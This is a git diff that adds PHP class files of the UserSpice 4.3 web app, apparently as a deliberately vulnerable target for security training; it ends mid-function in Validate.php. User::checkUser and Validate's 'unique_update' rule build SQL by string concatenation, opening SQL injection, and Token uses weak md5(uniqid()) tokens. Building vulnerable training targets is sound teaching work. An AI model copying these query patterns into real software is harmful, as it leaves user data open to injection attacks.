a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Notification.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Notification.php new file mode 100644 index 000000000..cbd870217 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Notification.php @@ -0,0 +1,128 @@ +. +*/ + +class Notification +{ + private $db, $user_id, $error, $unread, $archive_day_limit; + private $notifications = array(); + + public function __construct($user_id, $all = false, $archive_day_limit = 7) { + $this->db = DB::getInstance(); + $this->user_id = $user_id; + $this->archive_day_limit = $archive_day_limit; + if ($archive_day_limit > 0) $this->archiveOldNotifications($user_id); + $this->getAllNotifications($all); + } + + private function getAllNotifications($all) { + if ($all == false) $where = ' AND is_archived=0'; + else $where = ''; + try { + $this->notifications = $this->db->query('SELECT * FROM notifications WHERE user_id = ? '.$where.' ORDER BY date_created DESC', array($this->user_id))->results(); + foreach ($this->notifications as $row) { + if ($row->is_read == 0) $this->unread++; + } + return true; + } catch (\Exception $e) { + $this->error = $e->getMessage(); + } + return false; + } + + public function archiveOldNotifications($user_id) { + try { + $this->db->query('UPDATE notifications SET is_archived=1 WHERE user_id = ? AND is_read=1 AND date_created < NOW() - INTERVAL ? DAY', array($user_id, $this->archive_day_limit)); + return true; + } catch (\Exception $e) { + $this->error = $e->getMessage(); + } + return false; + } + + public function addNotification($message, $user_id = -1) { + if ($user_id == -1) $user_id = $this->user_id; + try { + if ($results = $this->db->query('INSERT INTO notifications (user_id, message, date_created) VALUES (?, ?, ?)', array($user_id, $message,date('Y-m-d H:i:s')))->results()) { + $this->notifications[] = $results; + return true; + } + else $this->error = 'Unable to query the database.'; + } catch (\Exception $e) { + $this->error = $e->getMessage(); + } + return false; + } + + public function setRead($notification_id, $read = true) { + try { + if ($this->db->query('UPDATE notifications SET is_read = ?, date_read=NOW() WHERE id = ?', array($read, $notification_id))) { + $this->getAllNotifications($this->user_id); + $this->unread--; + return true; + } + else $this->error = 'Unable to query the database.'; + } catch (\Exception $e) { + $this->error = $e->getMessage(); + } + return false; + } + + public function setReadAll($read = true) { + try { + if ($this->db->query('UPDATE notifications SET is_read = ?, date_read=NOW() WHERE user_id = ?', array($read, $this->user_id))) { + $this->getAllNotifications($this->user_id); + $this->unread = 0; + return true; + } + else $this->error = 'Unable to query the database.'; + } catch (\Exception $e) { + $this->error = $e->getMessage(); + } + return false; + } + + public function getError() { + echo $this->error; + return $this->error; + } + + public function getNotifications() { + return $this->notifications; + } + + public function getCount() { + return count($this->notifications); + } + + public function getUnreadCount() { + return $this->unread; + } + + public function getLiveUnreadCount() { + $this->db->query('SELECT is_read FROM notifications WHERE user_id = ? AND is_read = 0', array($this->user_id)); + return $this->db->count(); + } + + public function getUnreadNotifications() { + $this->unreadNotifications = $this->db->query('SELECT * FROM notifications WHERE user_id = ? AND is_read = 0 AND is_archived = 0 ORDER BY date_created DESC', array($this->user_id))->results(); + + return $this->unreadNotifications; + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Redirect.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Redirect.php new file mode 100644 index 000000000..fa0aa2a9d --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Redirect.php @@ -0,0 +1,49 @@ +. +*/ +class Redirect { + public static function to($location = null, $args=''){ + global $us_url_root; + #die("Redirecting to $location
    \n"); + if ($location) { + if (!preg_match('/^https?:\/\//', $location) && !file_exists($location)) { + foreach (array($us_url_root, '../', 'users/', substr($us_url_root, 1), '../../', '/', '/users/') as $prefix) { + if (file_exists($prefix.$location)) { + $location = $prefix.$location; + $location = preg_replace('~/{2,}~', '/', $location); + break; + } + } + } + if ($args) $location .= $args; // allows 'login.php?err=Error+Message' or the like + if (!headers_sent()){ + header('Location: '.$location); + exit(); + } else { + echo ''; + echo ''; exit; + } + } + } + +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Session.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Session.php new file mode 100644 index 000000000..4de26bc06 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Session.php @@ -0,0 +1,57 @@ +. +*/ +class Session { + + public static function exists($name){ + return (isset($_SESSION[$name])) ? true : false; + } + + public static function put($name, $value){ + return $_SESSION[$name] = $value; + } + + public static function delete($name){ + if (self::exists($name)) { + unset($_SESSION[$name]); + } + } + + public static function get($name){ + return $_SESSION[$name]; + } + + public static function flash($name, $string = ''){ + if (self::exists($name)) { + $session = self::get($name); + self::delete($name); + return $session; + } else{ + self::put($name, $string); + } + } + + public static function uagent_no_version(){ + $uagent = $_SERVER['HTTP_USER_AGENT']; + $regx = '/\/[a-zA-Z0-9.]+/'; + $newString = preg_replace($regx,'',$uagent); + return $newString; + } + +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Shuttle_Dumper.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Shuttle_Dumper.php new file mode 100644 index 000000000..c0ac371a7 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Shuttle_Dumper.php @@ -0,0 +1,513 @@ +
    Shuttle Dumper included"); +/** + * Abstract dump file: provides common interface for writing + * data to dump files. + */ +abstract class Shuttle_Dump_File { + /** + * File Handle + */ + protected $fh; + + /** + * Location of the dump file on the disk + */ + protected $file_location; + + abstract function write($string); + abstract function end(); + + static function create($filename) { + if (self::is_gzip($filename)) { + return new Shuttle_Dump_File_Gzip($filename); + } + return new Shuttle_Dump_File_Plaintext($filename); + } + function __construct($file) { + $this->file_location = $file; + $this->fh = $this->open(); + + if (!$this->fh) { + throw new Shuttle_Exception("Couldn't create gz file"); + } + } + + public static function is_gzip($filename) { + return preg_match('~gz$~i', $filename); + } +} + +/** + * Plain text implementation. Uses standard file functions in PHP. + */ +class Shuttle_Dump_File_Plaintext extends Shuttle_Dump_File { + function open() { + return fopen($this->file_location, 'w'); + } + function write($string) { + return fwrite($this->fh, $string); + } + function end() { + return fclose($this->fh); + } +} + +/** + * Gzip implementation. Uses gz* functions. + */ +class Shuttle_Dump_File_Gzip extends Shuttle_Dump_File { + function open() { + return gzopen($this->file_location, 'wb9'); + } + function write($string) { + return gzwrite($this->fh, $string); + } + function end() { + return gzclose($this->fh); + } +} + +/** + * MySQL insert statement builder. + */ +class Shuttle_Insert_Statement { + private $rows = array(); + private $length = 0; + private $table; + + function __construct($table) { + $this->table = $table; + } + + function reset() { + $this->rows = array(); + $this->length = 0; + } + + function add_row($row) { + $row = '(' . implode(",", $row) . ')'; + $this->rows[] = $row; + $this->length += strlen($row); + } + + function get_sql() { + if (empty($this->rows)) { + return false; + } + + return 'INSERT INTO `' . $this->table . '` VALUES ' . + implode(",\n", $this->rows) . '; '; + } + + function get_length() { + return $this->length; + } +} + +/** + * Main facade + */ +abstract class Shuttle_Dumper { + /** + * Maximum length of single insert statement + */ + const INSERT_THRESHOLD = 838860; + + /** + * @var Shuttle_DBConn + */ + public $db; + + /** + * @var Shuttle_Dump_File + */ + public $dump_file; + + /** + * End of line style used in the dump + */ + public $eol = "\r\n"; + + /** + * Specificed tables to include + */ + public $include_tables; + + /** + * Specified tables to exclude + */ + public $exclude_tables = array(); + + /** + * Factory method for dumper on current hosts's configuration. + */ + static function create($db_options) { + $db = Shuttle_DBConn::create($db_options); + + $db->connect(); + + if (self::has_shell_access() + && self::is_shell_command_available('mysqldump') + && self::is_shell_command_available('gzip') + ) { + $dumper = new Shuttle_Dumper_ShellCommand($db); + } else { + $dumper = new Shuttle_Dumper_Native($db); + } + + if (isset($db_options['include_tables'])) { + $dumper->include_tables = $db_options['include_tables']; + } + if (isset($db_options['exclude_tables'])) { + $dumper->exclude_tables = $db_options['exclude_tables']; + } + + return $dumper; + } + + function __construct(Shuttle_DBConn $db) { + $this->db = $db; + } + + public static function has_shell_access() { + if (!is_callable('shell_exec')) { + return false; + } + $disabled_functions = ini_get('disable_functions'); + return stripos($disabled_functions, 'shell_exec') === false; + } + + public static function is_shell_command_available($command) { + if (preg_match('~win~i', PHP_OS)) { + /* + On Windows, the `where` command checks for availabilty in PATH. According + to the manual(`where /?`), there is quiet mode: + .... + /Q Returns only the exit code, without displaying the list + of matched files. (Quiet mode) + .... + */ + $output = array(); + exec('where /Q ' . $command, $output, $return_val); + + if (intval($return_val) === 1) { + return false; + } else { + return true; + } + + } else { + $last_line = exec('which ' . $command); + $last_line = trim($last_line); + + // Whenever there is at least one line in the output, + // it should be the path to the executable + if (empty($last_line)) { + return false; + } else { + return true; + } + } + + } + + /** + * Create an export file from the tables with that prefix. + * @param string $export_file_location the file to put the dump to. + * Note that whenever the file has .gz extension the dump will be comporessed with gzip + * @param string $table_prefix Allow to export only tables with particular prefix + * @return void + */ + abstract public function dump($export_file_location, $table_prefix=''); + + protected function get_tables($table_prefix) { + if (!empty($this->include_tables)) { + return $this->include_tables; + } + + // $tables will only include the tables and not views. + // TODO - Handle views also, edits to be made in function 'get_create_table_sql' line 336 + $tables = $this->db->fetch_numeric(' + SHOW FULL TABLES WHERE Table_Type = "BASE TABLE" AND Tables_in_'.$this->db->name.' LIKE "' . $this->db->escape_like($table_prefix) . '%" + '); + + $tables_list = array(); + foreach ($tables as $table_row) { + $table_name = $table_row[0]; + if (!in_array($table_name, $this->exclude_tables)) { + $tables_list[] = $table_name; + } + } + return $tables_list; + } +} + +class Shuttle_Dumper_ShellCommand extends Shuttle_Dumper { + function dump($export_file_location, $table_prefix='') { + $command = 'mysqldump -h ' . escapeshellarg($this->db->host) . + ' -u ' . escapeshellarg($this->db->username) . + ' --password=' . escapeshellarg($this->db->password) . + ' ' . escapeshellarg($this->db->name); + + $include_all_tables = empty($table_prefix) && + empty($this->include_tables) && + empty($this->exclude_tables); + + if (!$include_all_tables) { + $tables = $this->get_tables($table_prefix); + $command .= ' ' . implode(' ', array_map('escapeshellarg', $tables)); + } + + $error_file = tempnam(sys_get_temp_dir(), 'err'); + + $command .= ' 2> ' . escapeshellarg($error_file); + + if (Shuttle_Dump_File::is_gzip($export_file_location)) { + $command .= ' | gzip'; + } + + $command .= ' > ' . escapeshellarg($export_file_location); + + exec($command, $output, $return_val); + + if ($return_val !== 0) { + $error_text = file_get_contents($error_file); + unlink($error_file); + throw new Shuttle_Exception('Couldn\'t export database: ' . $error_text); + } + + unlink($error_file); + } +} + +class Shuttle_Dumper_Native extends Shuttle_Dumper { + public function dump($export_file_location, $table_prefix='') { + $eol = $this->eol; + + $this->dump_file = Shuttle_Dump_File::create($export_file_location); + + $this->dump_file->write("-- Generation time: " . date('r') . $eol); + $this->dump_file->write("-- Host: " . $this->db->host . $eol); + $this->dump_file->write("-- DB name: " . $this->db->name . $eol); + $this->dump_file->write("/*!40030 SET NAMES UTF8 */;$eol"); + + $this->dump_file->write("/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;$eol"); + $this->dump_file->write("/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;$eol"); + $this->dump_file->write("/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;$eol"); + $this->dump_file->write("/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;$eol"); + $this->dump_file->write("/*!40103 SET TIME_ZONE='+00:00' */;$eol"); + $this->dump_file->write("/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;$eol"); + $this->dump_file->write("/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;$eol"); + $this->dump_file->write("/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;$eol"); + $this->dump_file->write("/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;$eol$eol"); + + + $tables = $this->get_tables($table_prefix); + foreach ($tables as $table) { + $this->dump_table($table); + } + + $this->dump_file->write("$eol$eol"); + $this->dump_file->write("/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;$eol"); + $this->dump_file->write("/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;$eol"); + $this->dump_file->write("/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;$eol"); + $this->dump_file->write("/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;$eol"); + $this->dump_file->write("/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;$eol"); + $this->dump_file->write("/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;$eol"); + $this->dump_file->write("/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;$eol$eol"); + + unset($this->dump_file); + } + + protected function dump_table($table) { + $eol = $this->eol; + + $this->dump_file->write("DROP TABLE IF EXISTS `$table`;$eol"); + + $create_table_sql = $this->get_create_table_sql($table); + $this->dump_file->write($create_table_sql . $eol . $eol); + + $data = $this->db->query("SELECT * FROM `$table`"); + + $insert = new Shuttle_Insert_Statement($table); + + while ($row = $this->db->fetch_row($data)) { + $row_values = array(); + foreach ($row as $value) { + $row_values[] = $this->db->escape($value); + } + $insert->add_row( $row_values ); + + if ($insert->get_length() > self::INSERT_THRESHOLD) { + // The insert got too big: write the SQL and create + // new insert statement + $this->dump_file->write($insert->get_sql() . $eol); + $insert->reset(); + } + } + + $sql = $insert->get_sql(); + if ($sql) { + $this->dump_file->write($insert->get_sql() . $eol); + } + $this->dump_file->write($eol . $eol); + } + + public function get_create_table_sql($table) { + $create_table_sql = $this->db->fetch('SHOW CREATE TABLE `' . $table . '`'); + return $create_table_sql[0]['Create Table'] . ';'; + } +} + +class Shuttle_DBConn { + public $host; + public $username; + public $password; + public $name; + + protected $connection; + + function __construct($options) { + $this->host = $options['host']; + if (empty($this->host)) { + $this->host = '127.0.0.1'; + } + $this->username = $options['username']; + $this->password = $options['password']; + $this->name = $options['db_name']; + } + + static function create($options) { + if (class_exists('mysqli')) { + $class_name = "Shuttle_DBConn_Mysqli"; + } else { + $class_name = "Shuttle_DBConn_Mysql"; + } + + return new $class_name($options); + } +} + +class Shuttle_DBConn_Mysql extends Shuttle_DBConn { + function connect() { + $this->connection = @mysql_connect($this->host, $this->username, $this->password); + if (!$this->connection) { + throw new Shuttle_Exception("Couldn't connect to the database: " . mysql_error()); + } + + $select_db_res = mysql_select_db($this->name, $this->connection); + if (!$select_db_res) { + throw new Shuttle_Exception("Couldn't select database: " . mysql_error($this->connection)); + } + + return true; + } + + function query($q) { + if (!$this->connection) { + $this->connect(); + } + $res = mysql_query($q); + if (!$res) { + throw new Shuttle_Exception("SQL error: " . mysql_error($this->connection)); + } + return $res; + } + + function fetch_numeric($query) { + return $this->fetch($query, MYSQL_NUM); + } + + function fetch($query, $result_type=MYSQL_ASSOC) { + $result = $this->query($query, $this->connection); + $return = array(); + while ( $row = mysql_fetch_array($result, $result_type) ) { + $return[] = $row; + } + return $return; + } + + function escape($value) { + if (is_null($value)) { + return "NULL"; + } + return "'" . mysql_real_escape_string($value) . "'"; + } + + function escape_like($search) { + return str_replace(array('_', '%'), array('\_', '\%'), $search); + } + + function get_var($sql) { + $result = $this->query($sql); + $row = mysql_fetch_array($result); + return $row[0]; + } + + function fetch_row($data) { + return mysql_fetch_assoc($data); + } +} + + +class Shuttle_DBConn_Mysqli extends Shuttle_DBConn { + function connect() { + $this->connection = @new MySQLi($this->host, $this->username, $this->password, $this->name); + + if ($this->connection->connect_error) { + throw new Shuttle_Exception("Couldn't connect to the database: " . $this->connection->connect_error); + } + + return true; + } + + function query($q) { + if (!$this->connection) { + $this->connect(); + } + $res = $this->connection->query($q); + + if (!$res) { + throw new Shuttle_Exception("SQL error: " . $this->connection->error); + } + + return $res; + } + + function fetch_numeric($query) { + return $this->fetch($query, MYSQLI_NUM); + } + + function fetch($query, $result_type=MYSQLI_ASSOC) { + $result = $this->query($query, $this->connection); + $return = array(); + while ( $row = $result->fetch_array($result_type) ) { + $return[] = $row; + } + return $return; + } + + function escape($value) { + if (is_null($value)) { + return "NULL"; + } + return "'" . $this->connection->real_escape_string($value) . "'"; + } + + function escape_like($search) { + return str_replace(array('_', '%'), array('\_', '\%'), $search); + } + + function get_var($sql) { + $result = $this->query($sql); + $row = $result->fetch_array($result, MYSQLI_NUM); + return $row[0]; + } + + function fetch_row($data) { + return $data->fetch_array(MYSQLI_ASSOC); + } +} + +class Shuttle_Exception extends Exception {}; diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Token.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Token.php new file mode 100644 index 000000000..c0672c82e --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Token.php @@ -0,0 +1,34 @@ +. +*/ +class Token { + public static function generate(){ + return Session::put(Config::get('session/token_name'), md5(uniqid())); + } + + public static function check($token){ + $tokenName = Config::get('session/token_name'); + + if (Session::exists($tokenName) && $token === Session::get($tokenName)) { + Session::delete($tokenName); + return true; + } + return false; + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/User.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/User.php new file mode 100644 index 000000000..68d160653 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/User.php @@ -0,0 +1,290 @@ +. +*/ +class User { + private $_db, $_data, $_sessionName, $_isLoggedIn, $_cookieName; + public $tableName = 'users'; + + + + public function __construct($user = null){ + $this->_db = DB::getInstance(); + $this->_sessionName = Config::get('session/session_name'); + $this->_cookieName = Config::get('remember/cookie_name'); + + + if (!$user) { + if (Session::exists($this->_sessionName)) { + $user = Session::get($this->_sessionName); + + if ($this->find($user)) { + $this->_isLoggedIn = true; + } else { + //process Logout + } + } + } else { + $this->find($user); + } + } + + public function create($fields = array()){ + if (!$this->_db->insert('users', $fields)) { + throw new Exception('There was a problem creating an account.'); + }else + $user_id = $this->_db->lastId(); + $query = $this->_db->insert("user_permission_matches",['user_id'=>$user_id,'permission_id'=>1]); + // return $user_id; + $query2 = $this->_db->insert("profiles",['user_id'=>$user_id, 'bio'=>'This is your bio']); + return $user_id; + } + + public function find($user = null){ + if(isset($_SESSION['cloak_to'])){ + $user = $_SESSION['cloak_to']; + } + + if ($user) { + if(is_numeric($user)){ + $field = 'id'; + }elseif(!filter_var($user, FILTER_VALIDATE_EMAIL) === false){ + $field = 'email'; + }else{ + $field = 'username'; + } + + $data = $this->_db->get('users', array($field, '=', $user)); + + if ($data->count()) { + $this->_data = $data->first(); + if($this->data()->account_id == 0 && $this->data()->account_owner == 1){ + $this->_data->account_id = $this->_data->id; + } + return true; + } + } + return false; + } + + public function login($username = null, $password = null, $remember = false){ + + if (!$username && !$password && $this->exists()) { + Session::put($this->_sessionName, $this->data()->id); + } else { + $user = $this->find($username); + if ($user) { + if (password_verify($password,$this->data()->password)) { + Session::put($this->_sessionName, $this->data()->id); + if ($remember) { + $hash = Hash::unique(); + $hashCheck = $this->_db->get('users_session' , array('user_id', '=', $this->data()->id)); + + $this->_db->insert('users_session', array( + 'user_id' => $this->data()->id, + 'hash' => $hash, + 'uagent' => Session::uagent_no_version() + )); + + Cookie::put($this->_cookieName, $hash, Config::get('remember/cookie_expiry')); + } + $date = date("Y-m-d H:i:s"); + $this->_db->query("UPDATE users SET last_login = ?, logins = logins + 1 WHERE id = ?",[$date,$this->data()->id]); + $this->_db->query("UPDATE users SET last_confirm = ? WHERE id = ?",[$date,$this->data()->id]); + $this->_db->insert('logs',['logdate' => $date,'user_id' => $this->data()->id,'logtype' => "User",'lognote' => "User logged in."]); + $ip = ipCheck(); + $q = $this->_db->query("SELECT id FROM us_ip_list WHERE ip = ?",array($ip)); + $c = $q->count(); + if($c < 1){ + $this->_db->insert('us_ip_list', array( + 'user_id' => $this->data()->id, + 'ip' => $ip, + )); + }else{ + $f = $q->first(); + $this->_db->update('us_ip_list',$f->id, array( + 'user_id' => $this->data()->id, + 'ip' => $ip, + )); + } + return true; + } + } + } + return false; + } + + public function loginEmail($email = null, $password = null, $remember = false){ + + if (!$email && !$password && $this->exists()) { + Session::put($this->_sessionName, $this->data()->id); + } else { + $user = $this->find($email); + + if ($user) { + if (password_verify($password,$this->data()->password)) { + Session::put($this->_sessionName, $this->data()->id); + + if ($remember) { + $hash = Hash::unique(); + $hashCheck = $this->_db->get('users_session' , array('user_id', '=', $this->data()->id)); + + $this->_db->insert('users_session', array( + 'user_id' => $this->data()->id, + 'hash' => $hash, + 'uagent' => Session::uagent_no_version() + )); + + Cookie::put($this->_cookieName, $hash, Config::get('remember/cookie_expiry')); + } + $date = date("Y-m-d H:i:s"); + $this->_db->query("UPDATE users SET last_login = ?, logins = logins + 1 WHERE id = ?",[$date,$this->data()->id]); + $this->_db->query("UPDATE users SET last_confirm = ? WHERE id = ?",[$date,$this->data()->id]); + $this->_db->insert('logs',['logdate' => $date,'user_id' => $this->data()->id,'logtype' => "User",'lognote' => "User logged in."]); + $ip = ipCheck(); + $q = $this->_db->query("SELECT id FROM us_ip_list WHERE ip = ?",array($ip)); + $c = $q->count(); + if($c < 1){ + $this->_db->insert('us_ip_list', array( + 'user_id' => $this->data()->id, + 'ip' => $ip, + )); + }else{ + $f = $q->first(); + $this->_db->update('us_ip_list',$f->id, array( + 'user_id' => $this->data()->id, + 'ip' => $ip, + )); + } + return true; + } + } + } + return false; + } + + //Google oAuth Login Stuff + public function checkUser($oauth_provider,$oauth_uid,$fname,$lname,$email,$gender,$locale,$link,$picture){ + + $this->_db = DB::getInstance(); + $this->_sessionName = Config::get('session/session_name'); + $this->_cookieName = Config::get('remember/cookie_name'); + $fakeUN = $email; + $active = 1; + //Check to see if a user has Google oAuth + $prevQuery = $this->_db->query("SELECT * FROM users WHERE oauth_provider = '".$oauth_provider."' AND oauth_uid = '".$oauth_uid."'") or die("Google oAuth Error"); + + //If a user is already setup with oAuth, get the latest info + if($prevQuery->count() > 0){ + // die("user already has oauth"); + $update = $this->_db->query("UPDATE $this->tableName SET oauth_provider = '".$oauth_provider."', oauth_uid = '".$oauth_uid."', fname = '".$fname."', lname = '".$lname."', email = '".$email."', gender = '".$gender."', locale = '".$locale."', username = '".$fakeUN."',permissions = '".$active."',email_verfied = '".$active."',active = '".$active."',picture = '".$picture."', gpluslink = '".$link."', modified = '".date("Y-m-d H:i:s")."' WHERE oauth_provider = '".$oauth_provider."' AND oauth_uid = '".$oauth_uid."'") or die("Google oAuth Error"); + + }else{ + //Check to see if the user has a regular UserSpice account that matches the google email. + $findExistingUS=$this->_db->query("SELECT * FROM users WHERE email = ?",array($email)); + $foundUS=$findExistingUS->count(); + $found=$findExistingUS->count(); + + + if ($foundUS == 1){ + //Found an existing UserSpice user with the same email + // die("user already has userspice"); + $this->_db->query("UPDATE users WHERE id = 3 SET lname = ?",array($email)) or die("Google oAuth Error"); + + }else{ + //If a user has neither UserSpice nor oAuth creds + //die("user has neither"); + $password = password_hash(Token::generate(),PASSWORD_BCRYPT,array('cost' => 12)); + $insert = $this->_db->query("INSERT INTO $this->tableName SET password = '".$password."',username = '".$email."',active = '".$active."',oauth_provider = '".$oauth_provider."', oauth_uid = '".$oauth_uid."',permissions = '".$active."', email_verified = '".$active."', fname = '".$fname."', lname = '".$lname."', email = '".$email."', gender = '".$gender."', locale = '".$locale."',picture = '".$picture."', gpluslink = '".$link."', join_date = '".date("Y-m-d H:i:s")."',created = '".date("Y-m-d H:i:s")."', modified = '".date("Y-m-d H:i:s")."'") or die("Google oAuth Error"); + $lastID = $insert->lastId(); + + $insert2 = $this->_db->query("INSERT INTO user_permission_matches SET user_id = $lastID, permission_id = 1"); + + $insert3 = $this->_db->query("INSERT INTO profiles SET user_id = $lastID, bio = 'This is your bio'"); + } + + + } + + $query = $this->_db->query("SELECT * FROM $this->tableName WHERE oauth_provider = '".$oauth_provider."' AND oauth_uid = '".$oauth_uid."'") or die("Google oAuth Error"); + $result = $query->first(); + return $result; + } + // End of Google Section + + public function exists(){ + return (!empty($this->_data)) ? true : false; + } + + public function data(){ + return $this->_data; + } + + public function isLoggedIn(){ + return $this->_isLoggedIn; + } + + public function notLoggedInRedirect($location){ + if($this->_isLoggedIn){ + return true; + }else{ + Redirect::to($location); + } + } + + public function logout(){ + $this->_db->query("DELETE FROM users_session WHERE user_id = ? AND uagent = ?",array($this->data()->id,Session::uagent_no_version())); + + Session::delete($this->_sessionName); + Cookie::delete($this->_cookieName); + session_unset(); + session_destroy(); + } + + public function update($fields = array(), $id=null){ + + if (!$id && $this->isLoggedIn()) { + $id = $this->data()->id; + } + + if (!$this->_db->update('users', $id, $fields)) { + throw new Exception('There was a problem updating.'); + } + } + + //This is for future versions of UserSpice + public function hasPermission($key){ + $group = $this->_db->get('permissions', array('id', '=', $this->data()->permissions)); + if ($group->count()) { + $permissions = json_decode($group->first()->permissions, true); + if ($permissions[$key] == true) { + return true; + } + } + return false; + } + //This is for future versions of UserSpice + public function noPermissionRedirect($perm,$location){ + if(!$this->hasPermission($perm)){ + Redirect::to($location); + }else{ + return true; + } + } + +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Validate.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Validate.php new file mode 100644 index 000000000..3a9a8d545 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Validate.php @@ -0,0 +1,235 @@ +. +*/ +class Validate +{ + public + $_errors = [], + $_db = null; + + public function __construct() { + $this->_db = DB::getInstance(); + } + + public function check($source, $items=[], $sanitize=true) { + $this->_errors = []; + + foreach ($items as $item => $rules) { + $item = sanitize($item); + $display = $rules['display']; + + foreach ($rules as $rule => $rule_value) { + $value = $source[$item]; + + if ($sanitize) + $value = sanitize(trim($value)); + + $length = is_array($value) ? count($value) : strlen($value); + $verb = is_array($value) ? "are" : "is"; + + if ($rule==='required' && $length==0) { + if ($rule_value) + $this->addError(["{$display} {$verb} required",$item]); + } + else + if ($length != 0) { + switch ($rule) { + case 'min': + if (is_array($rule_value)) + $rule_value = max($rule_value); + + if ($length < $rule_value) + $this->addError(["{$display} must be a minimum of {$rule_value} characters",$item]); + break; + + case 'max': + if (is_array($rule_value)) + $rule_value = min($rule_value); + + if ($length > $rule_value) + $this->addError(["{$display} must be a maximum of {$rule_value} characters",$item]); + break; + + case 'matches': + if (!is_array($rule_value)) + $array = [$rule_value]; + + foreach ($array as $rule_value) + if ($value != $source[$rule_value]) + $this->addError(["{$items[$rule_value]['display']} and {$display} must match",$item]); + break; + + case 'unique': + $table = is_array($rule_value) ? $rule_value[0] : $rule_value; + $fields = is_array($rule_value) ? $rule_value[1] : [$item, '=', $value]; + + if ($this->_db->get($table, $fields)) { + if ($this->_db->count()) + $this->addError(["{$display} already exists. Please choose another {$display}",$item]); + } else + $this->addError(["Cannot verify {$display}. Database error",$item]); + break; + + case 'unique_update': + $t = explode(',', $rule_value); + $table = $t[0]; + $id = $t[1]; + $query = "SELECT * FROM {$table} WHERE id != {$id} AND {$item} = '{$value}'"; + $check = $this->_db->query($query); + + if ($check->count()) + $this->addError(["{$display} already exists. Please choose another {$display}",$item]); + break; + + case 'is_numeric': case 'is_num': + if ($rule_value && !is_numeric($value)) + $this->addError(["{$display} has to be a number. Please use a numeric value",$item]); + break; + + case 'valid_email': + if(!filter_var($value,FILTER_VALIDATE_EMAIL)) + $this->addError(["{$display} must be a valid email address",$item]); + break; + + case '<' : + case '>' : + case '<=' : + case '>=' : + case '!=' : + case '==' : + $array = is_array($rule_value) ? $rule_value : [$rule_value]; + + foreach ($array as $rule_value) + if (is_numeric($value)) { + $rule_value_display = $rule_value; + + if (!is_numeric($rule_value) && isset($source[$rule_value])) { + $rule_value_display = $items[$rule_value]["display"]; + $rule_value = $source[$rule_value]; + } + + if ($rule=="<" && $value>=$rule_value) + $this->addError(["{$display} must be smaller than {$rule_value_display}",$item]); + + if ($rule==">" && $value<=$rule_value) + $this->addError(["{$display} must be larger than {$rule_value_display}",$item]); + + if ($rule=="<=" && $value>$rule_value) + $this->addError(["{$display} must be equal {$rule_value_display} or smaller",$item]); + + if ($rule==">=" && $value<$rule_value) + $this->addError(["{$display} must be equal {$rule_value_display} or larger",$item]); + + if ($rule=="!=" && $value==$rule_value) + $this->addError(["{$display} must be different from {$rule_value_display}",$item]); + + if ($rule=="==" && $value!=$rule_value) + $this->addError(["{$display} must equal {$rule_value_display}",$item]); + } + else + $this->addError(["{$display} has to be a number. Please use a numeric value",$item]); + break; + + case 'is_integer': case 'is_int': + if ($rule_value && filter_var($value, FILTER_VALIDATE_INT)===false) + $this->addError(["{$display} has to be an integer",$item]); + break; + + case 'is_timezone': + if ($rule_value) + if (array_search($value, DateTimeZone::listIdentifiers(DateTimeZone::ALL)) === FALSE) + $this->addError(["{$display} has to be a valid time zone name",$item]); + break; + + case 'in': + $verb = "have to be"; + $list_of_names = []; // if doesn't match then display these in an error message + $list_of_values = []; // to compare it against + + if (!is_array($rule_value)) + $rule_value = [$rule_value]; + + foreach($rule_value as $val) + if (!is_array($val)) { + $list_of_names[] = $val; + $list_of_values[] = strtolower($val); + } else + if (count($val) > 0) { + $list_of_names[] = $val[0]; + $list_of_values[] = strtolower((count($val)>1 ? $val[1] : $val[0])); + } + + if (!is_array($value)) { + $verb = "has to be one of the following"; + $value = [$value]; + 